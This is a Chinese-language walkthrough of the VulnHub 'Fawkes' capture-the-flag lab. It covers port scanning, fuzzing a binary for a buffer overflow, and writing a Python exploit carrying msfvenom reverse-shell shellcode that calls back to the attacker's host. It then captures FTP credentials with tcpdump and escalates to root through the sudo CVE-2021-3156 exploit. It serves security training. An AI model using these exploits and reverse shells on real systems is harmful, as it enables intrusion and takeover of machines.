靶机:
https://download.vulnhub.com/harrypotter/Fawkes.ova
这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。
难度:
- 高
目标:
- 取得2个root权限 + 3 个flag
涉及攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- FTP服务攻击
- 缓冲区溢出
- 模糊测试
- 漏洞利用代码编写
- 流量抓包分析
- 堆溢出漏洞攻击
- Metasploit(MSF)
- 手动修复EXP代码
- 本地提权
参考资料
- CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
- https://github.com/worawit/CVE-2021-3156
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.0.103
sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103
┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST
Nmap scan report for 192.168.0.103
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.0.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
| 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
2222/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA)
| 256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA)
|_ 256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519)
9898/tcp open monkeycom?
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| Welcome to Hogwart's magic portal
| Tell your spell and ELDER WAND will perform the magic
| Here is list of some common spells:
| Wingardium Leviosa
| Lumos
| Expelliarmus
| Alohomora
| Avada Kedavra
| Enter your spell: Magic Output: Oops!! you have given the wrong spell
| Enter your spell:
| NULL:
| Welcome to Hogwart's magic portal
| Tell your spell and ELDER WAND will perform the magic
| Here is list of some common spells:
| Wingardium Leviosa
| Lumos
| Expelliarmus
| Alohomora
| Avada Kedavra
|_ Enter your spell:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r
SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x
SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH
SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium
SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x
SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines,
SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe
SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x
SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L
SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava
SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop
SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x
SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2
SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo
SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe
SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n
SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell
SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong
SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x
SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E
SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x
SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2
SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\
SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20
SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20")
SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell
SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20
SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20
SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom
SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2
SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n
SF:Enter\x20your\x20spell:\x20");
MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds
发现21端口开着vsftp
服务,版本是vsftp 3.0.3
,漏洞库搜索一下
searchsploit vsftp 3.0.3
发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助
发现它的FTP
服务可以匿名登录,并且存在一个文件叫server_hogwarts
,霍格沃兹就是哈利波特学习魔法的学校hogwart
并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事
9898
端口开启的服务nmap
不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧!
- Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来
- Lumos(荧光闪耀)
- Expelliarmus(除你武器)
- Alohomora(开锁咒)
- Avada Kedavra(索命咒)阿瓦达啃大瓜
sudo dirsearch -u http://192.168.0.103
扫描目录没有什么发现
那么我们匿名登录一下FTP
服务器
ftp 192.168.1.103
账号为:anonymous,密码为空
登录之后把server_hogwarts
给get
下来慢慢看,然后想cd
到其他的目录却失败了
file server_hogwarts
发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果
ps -aux | grep server
看到运行了进程
ss -pantu | grep server
看到在本机开启了监听端口
nc 127.0.0.1 9898
NC上去看看运行效果,就是一些个咒语实现的效果
那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做FUZZ
模糊测试
进行测试之前,还得先关掉kali
本机的alsr
功能,alsr
是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变
我们需要把2
改成0
,这样就会关闭它
sudo apt install edb-debugger
安装一个有图形化界面的友好一点的调试工具
点击Attach
搜索server
然后点击run
这样就通过调试器连接上了服务端程序
接下来就需要对程序发起一些注入的探测请求
向唯一的数据提交点提交500
个大写字母A
python -c "print('A'*500)"
然后调试器直接报错,说EIP
的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞
msf-pattern_create -l 500
生成500个内容不重复的字节序列
在提交数据之前重启一下server_hogwarts
服务和edb
工具,否则可能影响我们对漏洞挖掘结果的判断
用小工具msf-pattern_offset -l 500 -q 64413764
查看EIP
寄存器当中注入的字符在这500
个字符中的哪个位置里面
编写一个EXP
进行测试
#!/usr/bin/python
import sys,socket
payload = 'A'*112 + 'B'*4 + 'C'*32
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',9898))
s.send((payload))
s.close()
except:
print("Wrong!")
sys.exit()
在运行脚本提交数据之前重启一下server_hogwarts
服务和edb
工具,保证我们测试时,运行环境是一个干净的环境
运行代码:
报错弹窗提示,如果想进一步查看他的情况请按F7,F8,F9
来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你server_hogwarts
出现了故障但是并不代表其不能继续运行。
参考博客:https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95
反弹shell
用插件OpcodeSearcher
找到跳到ESP
的指令
jmp esp
,跳到ESP
的内存地址是0x08049d55
,放到exp
中的4个B
的位置那里
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py
生成一串反弹shell的代码
- -b 参数去掉坏字符“\x00”,因为程序运行到这个字符的话就会以为结束了,从而停止运行
- -f 参数生成python格式的代码
#!/usr/bin/python
import sys,socket
buf = b""
buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b"
buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab"
buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad"
buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0"
buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf"
buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33"
buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1"
buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38"
payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32 + buf
"""
这里需要注意三点:
1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点
2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令
3,都要用b''二进制来显示
"""
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',9898))
s.send((payload))
s.close()
except:
print("Wrong!")
sys.exit()
重启运行服务,nc
开启监听,执行脚本即可反弹shell成功
这是得到的本机kali
的shell
,所以我们需要修改代码中的IP
地址,来对靶机发起攻击
再次运行脚本获得shell
按照惯例升级一下shell
,但是没有python
,也没有bash
,那就只能用/bin/sh -i
在当前目录下发现一个密码HarrYp0tter@Hogwarts123
,想起前面信息收集的时候有两个ssh
服务开启着
ssh harry@192.168.0.103 -p 2222
,登录上去发现还是harry
,还有IP
地址是172.17.0.2
,和靶机IP地址192.168.0.103
不一样
ls / -la
查看根目录的文件,发现.dockerenv
,很明显是一个docker
容器
信息收集:
发现flag
文件horcrux1.txt
,魂器 (Horcrux)是黑巫师为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品
查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,note.txt
文件显示有人在一直尝试登录FTP
服务器但是没成功,我们可以通过流量抓包工具来进行分析它
由于靶机只是一个命令行界面,所以我们用不了wireShark
,只能用最原始的tcpdump
这个命令
tcpdump -i eth0 port 21
只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生
发现用户名和密码:neville``bL!Bsg3k
,尝试SSH
登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了)
内核版本和sudo
版本都与CVE-2021-3156
中的一致
可以用以下这段代码验证漏洞是否存在sudoedit -s '\'
perl -e ‘print “A” x 65536’``,输入命令有报错,说明漏洞存在
利用exp
脚本进行提权,具体是Github
仓库中的exploit_nss.py
这个文件
靶机上的sudo
位置在/usr/local/bin/sudo
修改exploit_nss.py
代码中的sudo
位置
将脚本通过nc
发送到靶机上
靶机nc -lvnp 4444 > exp.py
,将nc
接收到的信息保存为exp.py
文件
本机nc 192.168.0.104 4444 < exploit_nss.py -w 1
将文件传输过去,-w 1
参数意思是当文件传输结束后隔一秒钟就断开连接
然后在靶机输入python3 exp.py
就获得了root
权限
获取最后的两个flag
纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了
伏地魔被哈利波特打败了!